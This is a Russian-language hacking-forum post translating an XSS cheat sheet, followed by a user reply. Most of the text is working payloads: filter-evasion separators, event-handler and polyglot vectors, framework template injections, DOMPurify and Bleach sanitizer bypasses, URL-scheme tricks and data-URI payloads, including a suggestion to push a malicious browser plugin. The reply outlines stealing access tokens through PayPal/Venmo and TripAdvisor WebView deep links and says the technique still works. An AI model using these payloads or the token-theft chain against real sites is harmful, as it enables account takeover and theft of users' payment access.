• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Шпаргалка: XSS, которые будут работать в 2021 году

lukas

(L3) cache
Пользователь
Регистрация
11.10.2018
Сообщения
282
Реакции
691
Прошел год с момента моей последней шпаргалки по XSS и год разработок в области эксплуатирования XSS. Вот новая и обновленная версия, набитая множеством вкусностей, которые я использую сам!

Примечание. Эта шпаргалка посвящена только современным и актуальным элементам.

Я ненавижу шпаргалки и методы, которые больше не работают (например, XSS с помощью CSS-инъекций) или работают только в архаичных браузерах. Поэтому эта шпаргалка фокусируется только на методах, которые появятся в 2021 году и что я лично проверил работу хотя бы в одном современном браузере.

Новые фичи​

  • Оглавление, быстрые ссылки и каждый элемент имеют кнопку копирования в буфер обмена в правом верхнем углу.
  • Больше совершенства HTML-событий
  • Больше mXSS
  • Дополнительные пейлоады JS Framework (VueJS, Mavo)
  • Обход фильтров URL-адресов
  • Расширенный обход фильтров XSS (escape-последовательности, эксплуатация странностей JS, сущностей HTML entities и т.д.)
  • Дополнительные советы и рекомендации по использованию JS
  • Дополнительные ресурсы JS
  • Эксплуатация MIME type
И конечно:
  • Удаление методик, которые больше не работают

Разделители тегов и атрибутов​

Иногда фильтры наивно предполагают, что только определенные символы могут разделять тег и его атрибуты, вот полный список допустимых разделителей, которые работают в firefox и chrome:

Decimal значениеURL EncodedЧеловеческое объяснение
47%2FFoward slash
13%0DCarriage Return
12%0CForm Feed
10%0ANew Line
9%09Horizontal Tab

Примеры​

В принципе, если у вас есть полезная нагрузка, которая выглядит так:
HTML:
<svg onload=alert(1)>
Вы можете попытаться заменить пробел между svg и onload любым из этих символов и пейлоад по-прежнему будет работать так, как вы ожидаете. Это актуально для всех тегов HTML.

Итак, все это действительный HTML и он будет выполняться. (Примечание: в новом Chrome это прерывается, если вы откроете его в новой вкладке без обновления вручную ¯ \ (ツ) / ¯).

Косой слеш:
HTML:
<svg/onload=alert(1)><svg>
Новая линия:
HTML:
<svg
onload=alert(1)><svg>
Табуляция Tab:
HTML:
<svg    onload=alert(1)><svg>
Новая страница (0xC):
HTML:
<svgonload=alert(1)><svg>

XSS на основе событий JavaScript​

Хорошая ссылка для событий и поддерживаемых браузеров: больше событий HTML

Стандартные HTML-события​

Атрибут тегаПоддерживаемые тегиПримечание
onloadbody, iframe, img, frameset, input, script, style, link, svgGreat for 0-click, but super commonly filtered
onpageshowbodyGreat for 0-click, but appears only usable in Non-DOM injections
onfocusinput, select, afor 0-click: use together with autofocus=""
onerrorimg, input, object, link, script, video, audiomake sure to pass params to make it fail
onanimationstartCombine with any element that can be animatedFired then a CSS animation starts
onanimationendCombine with any element that can be animatedFires when a CSS animation ends
onstartmarqueeFires on marquee animation start - Firefox only?
onfinishmarqueeFires on marquee animation end - Firefox only?
ontoggledetailsMust have the ‘open’ attribute for 0-click

Ситуационные HTML-события​

Атрибут тегаПоддерживаемые тегиПримечание
onmessageбольшинство теговpostMessage is commonly used to get around iframe restrictions and share data, as a result if your page is doing this you can use onmessage to intercept messages and trigger code
onblurinput, select, aSet autofocus="" for an easy 1-click when the user switches focus away from the injected element by clicking on anything on the page

Примеры:
HTML:
<body onload=alert()>
HTML:
<img src=x onerror=alert()>
HTML:
<svg onload=alert()>
HTML:
<body onpageshow=alert(1)>
HTML:
<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (только firefox )
HTML:
<marquee onstart=alert(1)> (только firefox)
HTML:
<marquee loop=1 width=0 onfinish=alert(1)> (только firefox)
HTML:
<input autofocus="" onfocus=alert(1)></input>
HTML:
<details open ontoggle="alert()">  (только chrome & opera)

HTML5 события​

НазваниеТегиПримечание
onplayvideo, audioFor 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip
onplayingvideo, audioFor 0-click: combine with autoplay HTML attribute and combine with valid video/audio clip
oncanplayvideo, audioMust link to a valid video/audio clip
onloadeddatavideo, audioMust link to a valid video/audio clip
onloadedmetadatavideo, audioMust link to a valid video/audio clip
onprogressvideo, audioMust link to a valid video/audio clip
onloadstartvideo, audioGreat underexploited 0-click vector
oncanplayvideo, audioMust link to a valid video/audio clip

Примеры:
HTML:
<video autoplay onloadstart="alert()" src=x></video>
HTML:
<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<video controls onloadstart="alert()"><source src=x></video>
HTML:
<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>
HTML:
<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
HTML:
<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

На основе CSS​

Истинная инъекция XSS через CSS мертва (на сейчас). Ниже приведены векторы XSS, которые зависят от таблиц стилей CSS или иным образом улучшаются ими.

Имя
ТегиПримечание
onmouseovermost tagsСработает при наведении курсора мыши на введенный элемент. Если возможно, добавьте стиль, чтобы сделать его как можно больше. Технически это 0-клик, если вам не нужно щелкать, верно? /s
onclickmost tagsСрабатывает, когда пользователь нажимает на элемент. Если возможно, добавьте стиль, чтобы сделать его как можно больше.
onanimationstart & onanimationendmost tagsТриггеры в начале или в конце CSS-анимации, которые вы можете запустить при загрузке страницы (0-клик).

Примечание: Варианты ниже использует теги стиля для создания ключевых кадров для анимации (начало|конец), но вы также можете проверить на предмет наличия уже включенных CSS, чтобы использовать то, что уже есть, используя , например, animation: alreadydefined;.. Неважно, что это за анимация, просто она существует.
HTML:
<style>@keyframes x {}</style>
HTML:
<p style="animation: x;" onanimationstart="alert()">XSS</p>
HTML:
<p style="animation: x;" onanimationend="alert()">XSS</p>
Пейлоад, инжектирующий невидимое наложение, которое в свою очередь запускает полезную нагрузку, если щелкнуть где-нибудь на странице:
HTML:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
То же самое, но для перемещения курсора мыши в любом месте страницы (0 клик):
HTML:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Странные векторы XSS​

Просто странные векторы, о которых часто не упоминают.
HTML:
<svg><animate onbegin=alert() attributeName=x></svg>
HTML:
<object data="data:text/html,<script>alert(5)</script>">
HTML:
<iframe srcdoc="<svg onload=alert(4);>">
HTML:
<object data=javascript:alert(3)>
HTML:
<iframe src=javascript:alert(2)>
HTML:
<embed src=javascript:alert(1)>
HTML:
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
HTML:
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>

XSS полиглоты (polyglots)​

Я использую несколько полиглотов XSS, потому что иногда у вас есть только определенное количество символов для ввода и вам нужен DOM или не-DOM. Не полагайтесь на них 100%, потому что есть обстоятельства, при которых они не сработают.

# символыИспользованиеПолиглоты
141Bothjavascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
88Non-DOM"'--></noscript></noembed></template></title></textarea></style><script>alert()</script>
95DOM'"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>
54Non-DOM"'>-->*/</noscript></ti tle><script>alert()</script>
42DOM"'--></style></script><svg oNload=alert()>
Совет: вы можете легко создать несколько личных вариаций для них, варьируя регистр букв и используя разделители тегов и атрибутов.

Фреймворки​

Чтобы атаковать JS Framework, всегда исследуйте соответствующий язык шаблонов.

VueJS​

V3​

HTML:
{{_openBlock.constructor('alert(1)')()}}

V2​

HTML:
{{constructor.constructor('alert(1)')()}}

AngularJS​

HTML:
{{constructor.constructor('alert(1)')()}}
Эта полезная нагрузка работает в большинстве случаев, но на этой странице есть множество других рекомендаций.

Mavo​

HTML:
[self.alert(1)]
HTML:
javascript:alert(1)%252f%252f..%252fcss-images
HTML:
[''=''or self.alert(1)]
HTML:
[Omglol mod 1 mod self.alert (1) andlol]


Обход фильтра XSS​

Литералы шаблона JS для вызова функций​

HTML:
<svg onload=alert`1`></svg>
<script>alert`1`</script>

Злоупотребление HTML-объектами​

Обратите внимание, что они будут работать только с HTML-инъекцией, но не если значение будет введено непосредственно в тег скрипта. Это связано с тем, что декодирование происходит в анализаторе HTML, и все, что находится между тегами сценария, просто отправляется в механизм javacript напрямую без декодирования.
HTML:
<svg onload=alert&lpar;1&rpar;></svg>
HTML:
<img src=x onerror=&#x22;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;&#x22;>
HTML:
<svg onload=alert&#x28;1&#x29></svg>
HTML:
<img src=x onerror=&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;>
HTML:
<svg onload=alert&#40;1&#41></svg>
Кодировщик HTML-entities доступен здесь, не забудьте снять флажок "only encode unsafe".

Обратите внимание, что вы можете использовать три разных набора кодировок HTML-entities и комбинировать их по своему усмотрению: named (&plar; -> (), hex (&x28; -> () и decimal (&#40; -> ().

Ограниченная кодировка​

Эти 3 сайта превратят валидный JS в ужасных чудовищ, у которых есть хороший шанс обойти множество фильтров:
  • JSFuck - преобразование произвольного javascript в исполняемый javacript, используя только 6 символов. Единственным недостатком является то, что сложные javascript пейлоады могут быть очень длинными.
  • JSFsck – JSFuck without parentheses – то же, что и выше, но с более ограниченной кодировкой.
  • jjencode – ситуативный, но о нем полезно знать.
  • arubesh.js – требует дополнительных символов поверх JSFuck, но может быть полезен, если пространство ограничено вместе со слабой фильтрацией.

Фильтрация ключевых слов​

Избегайте ключевых слов и конкретных подстрок:
JavaScript:
(alert)(1)
JavaScript:
globalThis[`al`+/ert/.source]`1`
JavaScript:
this[`al`+/ert/.source]`1`
JavaScript:
[alert][0].call(this,1)
JavaScript:
window['a'+'l'+'e'+'r'+'t']()
JavaScript:
window['a'+'l'+'e'+'r'+'t'].call(this,1)
JavaScript:
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
JavaScript:
(1,2,3,4,5,6,7,8,alert)(1)
JavaScript:
x=alert,x(1)
JavaScript:
[1].find(alert)
JavaScript:
top["al"+"ert"](1)
JavaScript:
top[/al/.source+/ert/.source](1)
JavaScript:
al\u0065rt(1)
JavaScript:
al\u0065rt`1`
JavaScript:
top['al\145rt'](1)
JavaScript:
top['al\x65rt'](1)
JavaScript:
top[8680439..toString(30)](1)

Общие хитрости​

Для построения строк​

Литералы регулярных выражений:
/part1/.source+/part2/.source => 'part1part2'
Числа в строки:
8680439..toString(30) => 'alert' (Число генерируется с использованием parseInt («alert», 30), другие также работают)

Используйте escape-последовательности символов внутри строк​

простой инструмент для этого доступен здесь:
"\x41" -> "A" шестнадцатеричная кодировка
"\u0065" -> "A" кодировка юникода (значение десятичное)
"\101" -> "A" восьмеричная кодировка

РазНоОбраЗьТЕ зАглАвНыЕ БукВы​

Иногда регулярное выражение или другие самодельные фильтры выполняют сопоставление с учетом регистра. Затем вы можете просто использовать toLowerCase (), например:
Код:
globalThis["aLeRt".toLowerCase()]

Вызов функций​

alert`1`: Синтаксис литерала шаблона
alert.apply(this,[1]): Использование Function.prototype.apply
alert.call(this,1): Использование Function.prototype.call
alert(1): Очевидно, но включено для полноты.
[1].find(alert): Использование предикатов
[1].filter(alert): Использование предикатов

Повторное использование​

Не забудьте посмотреть, что уже загружено! jQuery - простой пример, в любой сложном фреймворке, вероятно, есть что-то полезное. Здесь может помочь Wappalyzer или его аналог.
window.jQuery.globalEval("alert(1)")
$.globalEval("alert(1)")

mXSS и DOM Clobbering​

Для XSS-фильтров практически невозможно правильно предвидеть каждый способ мутации HTML браузером с взаимодействующими библиотеками, поэтому иногда вы можете скрыть XSS пейлоад как недопустимый HTML, и браузер + санитайзер исправит его до действительного полезной нагрузки… которая обходит всю фильтрацию.

Мануальчик о mXSS с большим количеством примеров: здесь
Полезная информация о clobbering: здесь

Санитайзер обходит mXSS пейлоады​

Примечание. mXSS может зависеть от браузера, так что попробуйте несколько браузеров.

Bleach <=3.1.1
HTML:
<noscript><style></noscript><img src=x onerror=alert(1)>
HTML:
<svg><style><img src=x onerror=alert(1)></style></svg>

DOMPurify <2.1
(мне пришлось немного поиграть с некоторыми из них, чтобы заставить работать)
HTML:
<math><mtext><table><mglyph><style><!--</style><img title="--&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">
HTML:
<math><mtext><table><mglyph><style><![CDATA[</style><img title="]]&gt;&lt;/mglyph&gt;&lt;img&Tab;src=1&Tab;onerror=alert(1)&gt;">
HTML:
<math><mtext><table><mglyph><style><!--</style><img title=&quot;--></mglyph><img    src=1    onerror=alert(1)>">

DOMPurify <2.0.1
HTML:
 <svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
HTML:
 <svg><p><style><a id="</style><img src=1 onerror=alert(1)>"></p></svg>

Двойное кодирование​

Достаточно просто, иногда приложение выполняет фильтрацию XSS для строки перед ее повторным декодированием, что оставляет ее открытой из-за обхода фильтра. Встречается редко, но некоторые багхантеры, которых я знаю, клянутся, что все работает в 2021, поэтому я включаю его для справки.
СимволДвойное кодирование
<%253C
>%253E
(%2528
)%2529
"%2522
'%2527

Обход фильтров URL Schema​

Допустим, у вас есть возможность ввести данные во что-то, что соприкасается с URL-адресом. Типа как location.href, но он отфильтрован. Это список приемов, которые вы можете попытаться применить, чтобы обойти это.

Шлю лучи добра и позитива за этот конкретный набор атак этой замечательной статье о XSS в Django.

(Некоторые из них зависят от браузера. Попробуйте свои пейлоады отдельно, прежде чем полагаться на эти)

ТехникаПример
Case sensitivityJaVaScript:alert(1)URL protocol is case insensitive
Some whitespace INSIDE protocoljavas cript:alert(1)tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere in protocol
Whitespace before protocoljavascript:alert(1)Characters \x01-\x20 can be inserted before the protocol
Some whitespace AFTER protocol before oclonjavascript :tab (0x9), newline (0xa) and carriage return (0xd) allowed anywhere after the protocol

Эксплуатация Mime type​

Если вы можете заставить браузер загружать данные, при помощи установки URL-адреса (например, с помощью location.href или поля href в теге) или другими способами, вы можете выполнить javascript. В Firefox они обрабатываются на том же домене, что и исходная страница, а вот в Chrome - нет. Тем не менее, это может привести к нескольким опасным результатам, описанным ниже.

Если вы не знакомы, вы можете протестировать эти пейлоады, вставив их в URL-адрес своего браузера. Все они просто выдают alert(‘XSS’), но если вы - параноки, вы можете декодировать их и проверить, используя декодер base64.
Код:
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ+
Код:
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
(только Firefox)
Код:
data:application/vnd.wap.xhtml+xml;base64,PHg6c2NyaXB0IHhtbG5zOng9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiPmFsZXJ0KCdYU1MnKTwveDpzY3JpcHQ+

Рассмотрите также другие mime type, которые могут помочь вам. Как в примере с использованием application / x-xpinstall в Firefox, который предлагает пользователям установить плагин ... представьте, как было бы плохо, если бы кто-то связал текст/html с этим, чтобы имитировать внешний вид легитимного веб-сайта, а затем предложить пользователям установить плагин, который может получить доступ ко всем данным своего браузера?
(Только Firefox)
Код:
data:application/x-xpinstall;base64,<BASE64 ENCODED FIREFOX .XPI PLUGIN>
Другие идеи включают java-апплеты, Steam или что-нибудь еще, что регистрирует собственный обработчик протокола. Некоторые идеи по их использованию доступны здесь.

Полезные ссылки​

Fantastic collection of somewhat old XSS stuff
Portswigger XSS cheatsheet
Portswigger XSS through Frameworks
Pwnfunction’s XSS CTF for practising

Автор Sam Anttila

Автор: оригинальная статья

Перевод: lukas, специально для https://xss.pro

 
Если вы нашли XSS на сайте, но у неё низкий impact — не удаётся "украсть" аккаунт жертвы или актив вне скоупа.
Вам стоит поискать мобильное приложение, которое содержит WebView функциональность и присваивает токен при открытии страницы.
Возьмём для примера приложение от PayPal.
Открыв его в декомпиляторе можно найти функцию около webview функциональности
boolean isSecureVenmoHostUrl(Uri uri)

Внутри неё обнаруживаем хосты
Код:
host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith(".venmo.biz")

Теперь нужно проверить возможно ли передать свой url в класс webview.

Если да, составляем полезную нагрузку: <a href="venmo://webview?url=https://legal.venmo.com/index.php?p=<svg>">PoC Send</a>

Это был пример как поднять XSS, до чего-то существенного. При открытии ссылки, возможно украсть access_token и получить доступ к платежам пользователя.

Такая же функциональность в приложении TripAdvisor:
Код:
Pattern f30622a = Pattern.compile("^(?:https?\\:\\/\\/(?:[A-Za-z0-9_\\-]+\\.(dhcp(\\-[A-Za-z]+)?\\.([A-Za-z0-9_\\-]+\\.corp\\.)?|(nw\\.)?dev(\\-[A-Za-z]+)?\\.|cmc\\.|d\\.)?)?tripadvisor\\.(?:com|(?:[a-z]{2})|(?:(?:co|com)\\.[a-z]{2})))?\\/.*$");

В перечисленных случаях выше, разработчики исправляют только XSS, поэтому вы всё ещё можете это воспроизвести.

© Кавычка
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх